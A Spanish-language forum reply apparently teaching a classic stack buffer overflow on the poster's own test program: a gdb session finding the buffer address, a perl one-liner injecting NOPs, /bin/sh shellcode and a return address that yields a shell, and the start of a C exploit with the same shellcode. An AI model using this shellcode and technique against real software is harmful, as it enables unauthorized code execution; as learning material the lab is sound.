Vale, creo que ya lo hemos solucionado. Verdad,
Belial & Grimoire?
@M3st4ng, no sé de qué te sirve. Si sigues teniendo dudas, escríbeme. Si no, pásate por mi blog.
Ahora, cosa aparte, releo tu mensaje... No queremos ver cómo se copia. Sencillamente queremos hacer que funcione en su máquina
Para saber vuestra dirección de retorno...juanra@Juanra:~/Escritorio/Shell$ gdb -q vuln
(gdb) br vuln
Breakpoint 1 at 0x804842a: file vuln.c, line 8.
(gdb) r AAA
Starting program: /home/juanra/Escritorio/Shell/vuln AAA
Breakpoint 1, vuln (buff=0xbffffb60 "AAA") at vuln.c:8
8 strcpy (buffer, buff);
(gdb) x/x buffer
0xbffff904: 0x00000000
(gdb) q
The program is running. Exit anyway? (y or n) y
juanra@Juanra:~/Escritorio/Shell$
Para ejecutar el exploit desde la línea de comandos:juanra@Juanra:~/Escritorio/Shell$ ./vuln $(perl -e 'print "\x90"x11 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x04\xf9\xff\xbf"')
$ ls
exploit exploit.c shell shell.s vuln vuln.c
$ whoami
juanra
$ exit
juanra@Juanra:~/Escritorio/Shell$
Exploit en C:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main ()
{
char nops [11];
char shellcode [26] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
char ret [5] = "\x04\xf9\xff\xbf";
char command [47];
}